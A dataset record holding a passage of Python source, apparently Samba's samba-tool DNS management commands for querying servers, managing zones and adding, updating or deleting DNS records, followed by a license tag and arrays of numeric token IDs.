soa.dwMinimumTtl = minimum soa.NamePrimaryServer.str = self._mname soa.NamePrimaryServer.len = len(mname) soa.ZoneAdministratorEmail.str = self._rname soa.ZoneAdministratorEmail.len = len(rname) self.data = soa class SRVRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, target, port, priority=0, weight=100, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(SRVRecord, self).__init__() self.wType = dnsp.DNS_TYPE_SRV self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._target = target[:] srv = dnsserver.DNS_RPC_RECORD_SRV() srv.wPriority = priority srv.wWeight = weight srv.wPort = port srv.nameTarget.str = self._target srv.nameTarget.len = len(target) self.data = srv class TXTRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, slist, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(TXTRecord, self).__init__() self.wType = dnsp.DNS_TYPE_TXT self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._slist = [] for s in slist: self._slist.append(s[:]) names = [] for s in self._slist: name = dnsserver.DNS_RPC_NAME() name.str = s name.len = len(s) names.append(name) txt = dnsserver.DNS_RPC_RECORD_STRING() txt.count = len(slist) txt.str = names self.data = txt # Convert data into a dns record def data_to_dns_record(record_type, data): if record_type == dnsp.DNS_TYPE_A: rec = ARecord(data) elif record_type == dnsp.DNS_TYPE_AAAA: rec = AAAARecord(data) elif record_type == dnsp.DNS_TYPE_PTR: rec = PTRRecord(data) elif record_type == dnsp.DNS_TYPE_CNAME: rec = CNameRecord(data) elif record_type == dnsp.DNS_TYPE_NS: rec = NSRecord(data) elif record_type == dnsp.DNS_TYPE_MX: tmp = data.split(' ') if len(tmp) != 2: raise CommandError('Data requires 2 elements - mail_server, preference') mail_server = tmp[0] preference = int(tmp[1]) rec = MXRecord(mail_server, preference) elif record_type == dnsp.DNS_TYPE_SRV: tmp = data.split(' ') if len(tmp) != 4: raise CommandError('Data requires 4 elements - server, port, priority, weight') server = tmp[0] port = int(tmp[1]) priority = int(tmp[2]) weight = int(tmp[3]) rec = SRVRecord(server, port, priority=priority, weight=weight) elif record_type == dnsp.DNS_TYPE_SOA: tmp = data.split(' ') if len(tmp) != 7: raise CommandError('Data requires 7 elements - nameserver, email, serial, ' 'refresh, retry, expire, minimumttl') nameserver = tmp[0] email = tmp[1] serial = int(tmp[2]) refresh = int(tmp[3]) retry = int(tmp[4]) expire = int(tmp[5]) minimum = int(tmp[6]) rec = SOARecord(nameserver, email, serial=serial, refresh=refresh, retry=retry, expire=expire, minimum=minimum) elif record_type == dnsp.DNS_TYPE_TXT: slist = shlex.split(data) rec = TXTRecord(slist) else: raise CommandError('Unsupported record type') return rec # Match dns name (of type DNS_RPC_NAME) def dns_name_equal(n1, n2): return n1.str.rstrip('.').lower() == n2.str.rstrip('.').lower() # Match a dns record with specified data def dns_record_match(dns_conn, server, zone, name, record_type, data): urec = data_to_dns_record(record_type, data) select_flags = dnsserver.DNS_RPC_VIEW_AUTHORITY_DATA try: buflen, res = dns_conn.DnssrvEnumRecords2( dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, name, None, record_type, select_flags, None, None) except RuntimeError, e: return None if not res or res.count == 0: return None rec_match = None for rec in res.rec[0].records: if rec.wType != record_type: continue found = False if record_type == dnsp.DNS_TYPE_A: if rec.data == urec.data: found = True elif record_type == dnsp.DNS_TYPE_AAAA: if rec.data == urec.data: found = True elif record_type == dnsp.DNS_TYPE_PTR: if dns_name_equal(rec.data, urec.data): found = True elif record_type == dnsp.DNS_TYPE_CNAME: if dns_name_equal(rec.data, urec.data): found = True elif record_type == dnsp.DNS_TYPE_NS: if dns_name_equal(rec.data, urec.data): found = True elif record_type == dnsp.DNS_TYPE_MX: if dns_name_equal(rec.data.nameExchange, urec.data.nameExchange) and \ rec.data.wPreference == urec.data.wPreference: found = True elif record_type == dnsp.DNS_TYPE_SRV: if rec.data.wPriority == urec.data.wPriority and \ rec.data.wWeight == urec.data.wWeight and \ rec.data.wPort == urec.data.wPort and \ dns_name_equal(rec.data.nameTarget, urec.data.nameTarget): found = True elif record_type == dnsp.DNS_TYPE_SOA: if rec.data.dwSerialNo == urec.data.dwSerialNo and \ rec.data.dwRefresh == urec.data.dwRefresh and \ rec.data.dwRetry == urec.data.dwRetry and \ rec.data.dwExpire == urec.data.dwExpire and \ rec.data.dwMinimumTtl == urec.data.dwMinimumTtl and \ dns_name_equal(rec.data.NamePrimaryServer, urec.data.NamePrimaryServer) and \ dns_name_equal(rec.data.ZoneAdministratorEmail, urec.data.ZoneAdministratorEmail): found = True elif record_type == dnsp.DNS_TYPE_TXT: if rec.data.count == urec.data.count: found = True for i in xrange(rec.data.count): found = found and \ (rec.data.str[i].str == urec.data.str[i].str) if found: rec_match = rec break return rec_match class cmd_serverinfo(Command): """Query for Server information.""" synopsis = '%prog <server> [options]' takes_args = [ 'server' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option('--client-version', help='Client Version', default='longhorn', metavar='w2k|dotnet|longhorn', choices=['w2k','dotnet','longhorn'], dest='cli_ver'), ] def run(self, server, cli_ver, sambaopts=None, credopts=None, versionopts=None): self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) client_version = dns_client_version(cli_ver) typeid, res = dns_conn.DnssrvQuery2(client_version, 0, server, None, 'ServerInfo') print_serverinfo(self.outf, typeid, res) class cmd_zoneinfo(Command): """Query for zone information.""" synopsis = '%prog <server> <zone> [options]' takes_args = [ 'server', 'zone' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option('--client-version', help='Client Version', default='longhorn', metavar='w2k|dotnet|longhorn', choices=['w2k','dotnet','longhorn'], dest='cli_ver'), ] def run(self, server, zone, cli_ver, sambaopts=None, credopts=None, versionopts=None): self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) client_version = dns_client_version(cli_ver) typeid, res = dns_conn.DnssrvQuery2(client_version, 0, server, zone, 'ZoneInfo') print_zoneinfo(self.outf, typeid, res) class cmd_zonelist(Command): """Query for zones.""" synopsis = '%prog <server> [options]' takes_args = [ 'server' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option('--client-version', help='Client Version', default='longhorn', metavar='w2k|dotnet|longhorn', choices=['w2k','dotnet','longhorn'], dest='cli_ver'), Option('--primary', help='List primary zones (default)', action='store_true', dest='primary'), Option('--secondary', help='List secondary zones', action='store_true', dest='secondary'), Option('--cache', help='List cached zones', action='store_true', dest='cache'), Option('--auto', help='List automatically created zones', action='store_true', dest='auto'), Option('--forward', help='List forward zones', action='store_true', dest='forward'), Option('--reverse', help='List reverse zones', action='store_true', dest='reverse'), Option('--ds', help='List directory integrated zones', action='store_true', dest='ds'), Option('--non-ds', help='List non-directory zones', action='store_true', dest='nonds') ] def run(self, server, cli_ver, primary=False, secondary=False, cache=False, auto=False, forward=False, reverse=False, ds=False, nonds=False, sambaopts=None, credopts=None, versionopts=None): request_filter = 0 if primary: request_filter |= dnsserver.DNS_ZONE_REQUEST_PRIMARY if secondary: request_filter |= dnsserver.DNS_ZONE_REQUEST_SECONDARY if cache: request_filter |= dnsserver.DNS_ZONE_REQUEST_CACHE if auto: request_filter |= dnsserver.DNS_ZONE_REQUEST_AUTO if forward: request_filter |= dnsserver.DNS_ZONE_REQUEST_FORWARD if reverse: request_filter |= dnsserver.DNS_ZONE_REQUEST_REVERSE if ds: request_filter |= dnsserver.DNS_ZONE_REQUEST_DS if nonds: request_filter |= dnsserver.DNS_ZONE_REQUEST_NON_DS if request_filter == 0: request_filter = dnsserver.DNS_ZONE_REQUEST_PRIMARY self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) client_version = dns_client_version(cli_ver) typeid, res = dns_conn.DnssrvComplexOperation2(client_version, 0, server, None, 'EnumZones', dnsserver.DNSSRV_TYPEID_DWORD, request_filter) if client_version == dnsserver.DNS_CLIENT_VERSION_W2K: typeid = dnsserver.DNSSRV_TYPEID_ZONE_W2K else: typeid = dnsserver.DNSSRV_TYPEID_ZONE print_enumzones(self.outf, typeid, res) class cmd_zonecreate(Command): """Create a zone.""" synopsis = '%prog <server> <zone> [options]' takes_args = [ 'server', 'zone' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option('--client-version', help='Client Version', default='longhorn', metavar='w2k|dotnet|longhorn', choices=['w2k','dotnet','longhorn'], dest='cli_ver') ] def run(self, server, zone, cli_ver, sambaopts=None, credopts=None, versionopts=None): self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) zone = zone.lower() client_version = dns_client_version(cli_ver) if client_version == dnsserver.DNS_CLIENT_VERSION_W2K: typeid = dnsserver.DNSSRV_TYPEID_ZONE_CREATE_W2K zone_create_info = dnsserver.DNS_RPC_ZONE_CREATE_INFO_W2K() zone_create_info.pszZoneName = zone zone_create_info.dwZoneType = dnsp.DNS_ZONE_TYPE_PRIMARY zone_create_info.fAging = 0 zone_create_info.fDsIntegrated = 1 zone_create_info.fLoadExisting = 1 elif client_version == dnsserver.DNS_CLIENT_VERSION_DOTNET: typeid = dnsserver.DNSSRV_TYPEID_ZONE_CREATE_DOTNET zone_create_info = dnsserver.DNS_RPC_ZONE_CREATE_INFO_DOTNET() zone_create_info.pszZoneName = zone zone_create_info.dwZoneType = dnsp.DNS_ZONE_TYPE_PRIMARY zone_create_info.fAging = 0 zone_create_info.fDsIntegrated = 1 zone_create_info.fLoadExisting = 1 zone_create_info.dwDpFlags = dnsserver.DNS_DP_DOMAIN_DEFAULT else: typeid = dnsserver.DNSSRV_TYPEID_ZONE_CREATE zone_create_info = dnsserver.DNS_RPC_ZONE_CREATE_INFO_LONGHORN() zone_create_info.pszZoneName = zone zone_create_info.dwZoneType = dnsp.DNS_ZONE_TYPE_PRIMARY zone_create_info.fAging = 0 zone_create_info.fDsIntegrated = 1 zone_create_info.fLoadExisting = 1 zone_create_info.dwDpFlags = dnsserver.DNS_DP_DOMAIN_DEFAULT res = dns_conn.DnssrvOperation2(client_version, 0, server, None, 0, 'ZoneCreate', typeid, zone_create_info) typeid = dnsserver.DNSSRV_TYPEID_NAME_AND_PARAM name_and_param = dnsserver.DNS_RPC_NAME_AND_PARAM() name_and_param.pszNodeName = 'AllowUpdate' name_and_param.dwParam = dnsp.DNS_ZONE_UPDATE_SECURE res = dns_conn.DnssrvOperation2(client_version, 0, server, zone, 0, 'ResetDwordProperty', typeid, name_and_param) self.outf.write('Zone %s created successfully\n' % zone) class cmd_zonedelete(Command): """Delete a zone.""" synopsis = '%prog <server> <zone> [options]' takes_args = [ 'server', 'zone' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } def run(self, server, zone, sambaopts=None, credopts=None, versionopts=None): self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) zone = zone.lower() res = dns_conn.DnssrvOperation2(dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, 0, 'DeleteZoneFromDs', dnsserver.DNSSRV_TYPEID_NULL, None) self.outf.write('Zone %s delete successfully\n' % zone) class cmd_query(Command): """Query a name.""" synopsis = '%prog <server> <zone> <name> <A|AAAA|CNAME|MX|NS|SOA|SRV|TXT|ALL> [options]' takes_args = [ 'server', 'zone', 'name', 'rtype' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option('--authority', help='Search authoritative records (default)', action='store_true', dest='authority'), Option('--cache', help='Search cached records', action='store_true', dest='cache'), Option('--glue', help='Search glue records', action='store_true', dest='glue'), Option('--root', help='Search root hints', action='store_true', dest='root'), Option('--additional', help='List additional records', action='store_true', dest='additional'), Option('--no-children', help='Do not list children', action='store_true', dest='no_children'), Option('--only-children', help='List only children', action='store_true', dest='only_children') ] def run(self, server, zone, name, rtype, authority=False, cache=False, glue=False, root=False, additional=False, no_children=False, only_children=False, sambaopts=None, credopts=None, versionopts=None): record_type = dns_type_flag(rtype) select_flags = 0 if authority: select_flags |= dnsserver.DNS_RPC_VIEW_AUTHORITY_DATA if cache: select_flags |= dnsserver.DNS_RPC_VIEW_CACHE_DATA if glue: select_flags |= dnsserver.DNS_RPC_VIEW_GLUE_DATA if root: select_flags |= dnsserver.DNS_RPC_VIEW_ROOT_HINT_DATA if additional: select_flags |= dnsserver.DNS_RPC_VIEW_ADDITIONAL_DATA if no_children: select_flags |= dnsserver.DNS_RPC_VIEW_NO_CHILDREN if only_children: select_flags |= dnsserver.DNS_RPC_VIEW_ONLY_CHILDREN if select_flags == 0: select_flags = dnsserver.DNS_RPC_VIEW_AUTHORITY_DATA if select_flags == dnsserver.DNS_RPC_VIEW_ADDITIONAL_DATA: self.outf.write('Specify either --authority or --root along with --additional.\n') self.outf.write('Assuming --authority.\n') select_flags |= dnsserver.DNS_RPC_VIEW_AUTHORITY_DATA self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) buflen, res = dns_conn.DnssrvEnumRecords2( dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, name, None, record_type, select_flags, None, None) print_dnsrecords(self.outf, res) class cmd_roothints(Command): """Query root hints.""" synopsis = '%prog <server> [<name>] [options]' takes_args = [ 'server', 'name?' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } def run(self, server, name='.', sambaopts=None, credopts=None, versionopts=None): record_type = dnsp.DNS_TYPE_NS select_flags = (dnsserver.DNS_RPC_VIEW_ROOT_HINT_DATA | dnsserver.DNS_RPC_VIEW_ADDITIONAL_DATA) self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) buflen, res = dns_conn.DnssrvEnumRecords2( dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, '..RootHints', name, None, record_type, select_flags, None, None) print_dnsrecords(self.outf, res) class cmd_add_record(Command): """Add a DNS record For each type data contents are as follows: A ipv4_address_string AAAA ipv6_address_string PTR fqdn_string CNAME fqdn_string NS fqdn_string MX "fqdn_string preference" SRV "fqdn_string port priority weight" TXT "'string1' 'string2' ..." """ synopsis = '%prog <server> <zone> <name> <A|AAAA|PTR|CNAME|NS|MX|SRV|TXT> <data>' takes_args = [ 'server', 'zone', 'name', 'rtype', 'data' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } def run(self, server, zone, name, rtype, data, sambaopts=None, credopts=None, versionopts=None): if rtype.upper() not in ('A','AAAA','PTR','CNAME','NS','MX','SRV','TXT'): raise CommandError('Adding record of type %s is not supported' % rtype) record_type = dns_type_flag(rtype) rec = data_to_dns_record(record_type, data) self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) rec_match = dns_record_match(dns_conn, server, zone, name, record_type, data) if rec_match is not None: raise CommandError('Record already exists') add_rec_buf = dnsserver.DNS_RPC_RECORD_BUF() add_rec_buf.rec = rec dns_conn.DnssrvUpdateRecord2(dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, name, add_rec_buf, None) self.outf.write('Record added successfully\n') class cmd_update_record(Command): """Update a DNS record For each type data contents are as follows: A ipv4_address_string AAAA ipv6_address_string PTR fqdn_string CNAME fqdn_string NS fqdn_string MX "fqdn_string preference" SOA "fqdn_dns fqdn_email serial refresh retry expire minimumttl" SRV "fqdn_string port priority weight" TXT "'string1' 'string2' ..." """ synopsis = '%prog <server> <zone> <name> <A|AAAA|PTR|CNAME|NS|MX|SOA|SRV|TXT> <olddata> <newdata>' takes_args = [ 'server', 'zone', 'name', 'rtype', 'olddata', 'newdata' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } def run(self, server, zone, name, rtype, olddata, newdata, sambaopts=None, credopts=None, versionopts=None): if rtype.upper() not in ('A','AAAA','PTR','CNAME','NS','MX','SOA','SRV','TXT'): raise CommandError('Updating record of type %s is not supported' % rtype) record_type = dns_type_flag(rtype) rec = data_to_dns_record(record_type, newdata) self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) rec_match = dns_record_match(dns_conn, server, zone, name, record_type, olddata) if not rec_match: raise CommandError('Record does not exist') # Copy properties from existing record to new record rec.dwFlags = rec_match.dwFlags rec.dwSerial = rec_match.dwSerial rec.dwTtlSeconds = rec_match.dwTtlSeconds rec.dwTimeStamp = rec_match.dwTimeStamp add_rec_buf = dnsserver.DNS_RPC_RECORD_BUF() add_rec_buf.rec = rec del_rec_buf = dnsserver.DNS_RPC_RECORD_BUF() del_rec_buf.rec = rec_match dns_conn.DnssrvUpdateRecord2(dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, name, add_rec_buf, del_rec_buf) self.outf.write('Record updated successfully\n') class cmd_delete_record(Command): """Delete a DNS record For each type data contents are as follows: A ipv4_address_string AAAA ipv6_address_string PTR fqdn_string CNAME fqdn_string NS fqdn_string MX "fqdn_string preference" SRV "fqdn_string port priority weight" TXT "'string1' 'string2' ..." """ synopsis = '%prog <server> <zone> <name> <A|AAAA|PTR|CNAME|NS|MX|SRV|TXT> <data>' takes_args = [ 'server', 'zone', 'name', 'rtype', 'data' ] takes_optiongroups = { "sambaopts": options.SambaOptions, "versionopts": options.VersionOptions, "credopts": options.CredentialsOptions, } def run(self, server, zone, name, rtype, data, sambaopts=None, credopts=None, versionopts=None): if rtype.upper() not in ('A','AAAA','PTR','CNAME','NS','MX','SRV','TXT'): raise CommandError('Deleting record of type %s is not supported' % rtype) record_type = dns_type_flag(rtype) self.lp = sambaopts.get_loadparm() self.creds = credopts.get_credentials(self.lp) dns_conn = dns_connect(server, self.lp, self.creds) rec_match = dns_record_match(dns_conn, server, zone, name, record_type, data) if not rec_match: raise CommandError('Record does not exist') del_rec_buf = dnsserver.DNS_RPC_RECORD_BUF() del_rec_buf.rec = rec_match dns_conn.DnssrvUpdateRecord2(dnsserver.DNS_CLIENT_VERSION_LONGHORN, 0, server, zone, name, None, del_rec_buf) self.outf.write('Record deleted successfully\n') class cmd_dns(SuperCommand): """Domain Name Service (DNS) management.""" subcommands = {} subcommands['serverinfo'] = cmd_serverinfo() subcommands['zoneinfo'] = cmd_zoneinfo() subcommands['zonelist'] = cmd_zonelist() subcommands['zonecreate'] = cmd_zonecreate() subcommands['zonedelete'] = cmd_zonedelete() subcommands['query'] = cmd_query() subcommands['roothints'] = cmd_roothints() subcommands['add'] = cmd_add_record() subcommands['update'] = cmd_update_record() subcommands['delete'] = cmd_delete_record()
gpl-3.0
[ 3, 10237, 10041, 4744, 199, 3, 199, 3, 1898, 334, 35, 9, 437, 1147, 1187, 473, 2231, 645, 83, 7760, 13, 7409, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 646, 31710, 14, 18907, 465, 1511, 199, 504, 2702, 492, 1706, 199, 504, 2838, 492, 17260, 63, 343, 20047, 199, 504, 2838, 492, 17260, 63, 343, 411, 199, 504, 2838, 492, 20089, 63, 11367, 199, 504, 2838, 492, 20089, 63, 11367, 22, 199, 646, 16701, 199, 199, 504, 31710, 14, 846, 1760, 492, 334, 272, 5817, 12, 272, 14393, 12, 272, 3207, 12, 272, 17897, 3110, 12, 272, 776, 199, 504, 31710, 14, 68, 2247, 2352, 492, 6715, 80, 12, 6715, 1000, 421, 199, 318, 6715, 63, 2242, 8, 1000, 12, 13204, 12, 20023, 304, 272, 340, 1654, 14, 2325, 342, 508, 283, 5967, 356, 267, 1654, 275, 283, 4195, 14, 16, 14, 16, 14, 17, 7, 272, 11696, 63, 495, 275, 298, 7966, 645, 78, 63, 711, 63, 8815, 2689, 83, 59, 1037, 8480, 450, 1654, 272, 6715, 63, 1631, 275, 6715, 1000, 14, 5797, 1000, 8, 9140, 63, 495, 12, 13204, 12, 20023, 9, 272, 372, 6715, 63, 1631, 421, 199, 318, 2155, 63, 875, 8, 4173, 304, 272, 340, 3305, 508, 378, 26, 267, 2203, 275, 283, 19823, 7, 272, 916, 3305, 508, 413, 26, 267, 2203, 275, 283, 15064, 7, 272, 587, 26, 267, 2203, 275, 283, 11588, 334, 16, 88, 5, 88, 3171, 450, 3305, 272, 372, 2203, 421, 199, 318, 4952, 63, 875, 8, 578, 12, 4952, 63, 8710, 12, 574, 304, 272, 2203, 275, 488, 272, 367, 325, 315, 4952, 63, 8710, 26, 267, 340, 574, 508, 2519, 8, 578, 12, 325, 304, 288, 2203, 275, 325, 288, 2059, 272, 340, 440, 2203, 26, 267, 2203, 275, 283, 11588, 334, 16, 88, 5, 88, 3171, 450, 574, 272, 372, 2203, 421, 199, 318, 20810, 63, 875, 8, 578, 12, 20810, 63, 8710, 12, 574, 304, 272, 2203, 275, 2125, 272, 367, 330, 315, 20810, 63, 8710, 26, 267, 340, 574, 1253, 2519, 8, 578, 12, 330, 304, 288, 2203, 847, 1543, 83, 283, 450, 330, 272, 340, 440, 2203, 26, 267, 2203, 275, 283, 9185, 7, 272, 372, 2203, 421, 199, 318, 8498, 63, 765, 63, 875, 8, 4930, 63, 765, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 22679, 63, 9977, 63, 1734, 13768, 18732, 297, 283, 12323, 63, 22679, 63, 9977, 63, 3817, 297, 490, 283, 12323, 63, 22679, 63, 9977, 63, 25304, 57, 297, 283, 12323, 63, 22679, 63, 9977, 63, 16436, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 8498, 63, 765, 9, 421, 199, 318, 536, 63, 1074, 63, 4173, 63, 875, 8, 1074, 63, 4173, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 12231, 63, 14468, 63, 14546, 63, 10452, 297, 283, 12323, 63, 12231, 63, 13887, 14468, 63, 14546, 297, 490, 283, 12323, 63, 12231, 63, 8203, 2100, 57, 3727, 63, 14546, 297, 283, 12323, 63, 12231, 63, 1761, 63, 14546, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 1104, 63, 4173, 9, 421, 199, 318, 5718, 63, 466, 63, 875, 8, 2619, 63, 466, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 2711, 63, 8677, 297, 283, 12323, 63, 15353, 63, 2711, 63, 31035, 297, 490, 283, 12323, 63, 15353, 63, 2711, 63, 24236, 4392, 297, 283, 12323, 63, 15353, 63, 2711, 63, 840, 2533, 297, 490, 283, 12323, 63, 15353, 63, 2711, 63, 22371, 11733, 297, 283, 12323, 63, 15353, 63, 2711, 63, 24236, 4392, 63, 8677, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 80, 12, 4952, 63, 8710, 12, 5718, 63, 466, 9, 421, 199, 318, 5718, 63, 873, 63, 875, 8, 2619, 63, 873, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 10383, 63, 7517, 297, 283, 12323, 63, 15353, 63, 10383, 63, 1734, 20696, 297, 490, 283, 12323, 63, 15353, 63, 10383, 63, 20696, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 80, 12, 4952, 63, 8710, 12, 5718, 63, 873, 9, 421, 199, 318, 5718, 63, 12371, 63, 4416, 63, 875, 8, 4416, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2826, 63, 13554, 297, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2709, 63, 10452, 297, 490, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 4924, 63, 10452, 297, 283, 12323, 63, 15353, 63, 15048, 20696, 63, 2826, 63, 56, 15849, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 6391, 9, 421, 199, 318, 5718, 63, 6814, 63, 1896, 63, 875, 8, 6814, 63, 1896, 304, 272, 4952, 63, 8710, 275, 359, 283, 12323, 63, 15353, 63, 24972, 63, 7517, 297, 283, 12323, 63, 15353, 63, 24972, 63, 1761, 63, 24236, 25244, 297, 490, 283, 12323, 63, 15353, 63, 24972, 63, 4924, 63, 10452, 7, 1622, 272, 372, 4952, 63, 875, 8, 5797, 1000, 12, 4952, 63, 8710, 12, 11705, 63, 1896, 9, 421, 199, 318, 12392, 63, 2469, 63, 875, 8, 5780, 63, 2469, 304, 272, 20810, 63, 8710, 275, 359, 283, 12323, 63, 11741, 63, 13883, 26561, 297, 283, 12323, 63 ]
[ 10237, 10041, 4744, 199, 3, 199, 3, 1898, 334, 35, 9, 437, 1147, 1187, 473, 2231, 645, 83, 7760, 13, 7409, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 646, 31710, 14, 18907, 465, 1511, 199, 504, 2702, 492, 1706, 199, 504, 2838, 492, 17260, 63, 343, 20047, 199, 504, 2838, 492, 17260, 63, 343, 411, 199, 504, 2838, 492, 20089, 63, 11367, 199, 504, 2838, 492, 20089, 63, 11367, 22, 199, 646, 16701, 199, 199, 504, 31710, 14, 846, 1760, 492, 334, 272, 5817, 12, 272, 14393, 12, 272, 3207, 12, 272, 17897, 3110, 12, 272, 776, 199, 504, 31710, 14, 68, 2247, 2352, 492, 6715, 80, 12, 6715, 1000, 421, 199, 318, 6715, 63, 2242, 8, 1000, 12, 13204, 12, 20023, 304, 272, 340, 1654, 14, 2325, 342, 508, 283, 5967, 356, 267, 1654, 275, 283, 4195, 14, 16, 14, 16, 14, 17, 7, 272, 11696, 63, 495, 275, 298, 7966, 645, 78, 63, 711, 63, 8815, 2689, 83, 59, 1037, 8480, 450, 1654, 272, 6715, 63, 1631, 275, 6715, 1000, 14, 5797, 1000, 8, 9140, 63, 495, 12, 13204, 12, 20023, 9, 272, 372, 6715, 63, 1631, 421, 199, 318, 2155, 63, 875, 8, 4173, 304, 272, 340, 3305, 508, 378, 26, 267, 2203, 275, 283, 19823, 7, 272, 916, 3305, 508, 413, 26, 267, 2203, 275, 283, 15064, 7, 272, 587, 26, 267, 2203, 275, 283, 11588, 334, 16, 88, 5, 88, 3171, 450, 3305, 272, 372, 2203, 421, 199, 318, 4952, 63, 875, 8, 578, 12, 4952, 63, 8710, 12, 574, 304, 272, 2203, 275, 488, 272, 367, 325, 315, 4952, 63, 8710, 26, 267, 340, 574, 508, 2519, 8, 578, 12, 325, 304, 288, 2203, 275, 325, 288, 2059, 272, 340, 440, 2203, 26, 267, 2203, 275, 283, 11588, 334, 16, 88, 5, 88, 3171, 450, 574, 272, 372, 2203, 421, 199, 318, 20810, 63, 875, 8, 578, 12, 20810, 63, 8710, 12, 574, 304, 272, 2203, 275, 2125, 272, 367, 330, 315, 20810, 63, 8710, 26, 267, 340, 574, 1253, 2519, 8, 578, 12, 330, 304, 288, 2203, 847, 1543, 83, 283, 450, 330, 272, 340, 440, 2203, 26, 267, 2203, 275, 283, 9185, 7, 272, 372, 2203, 421, 199, 318, 8498, 63, 765, 63, 875, 8, 4930, 63, 765, 304, 272, 4952, 63, 8710, 275, 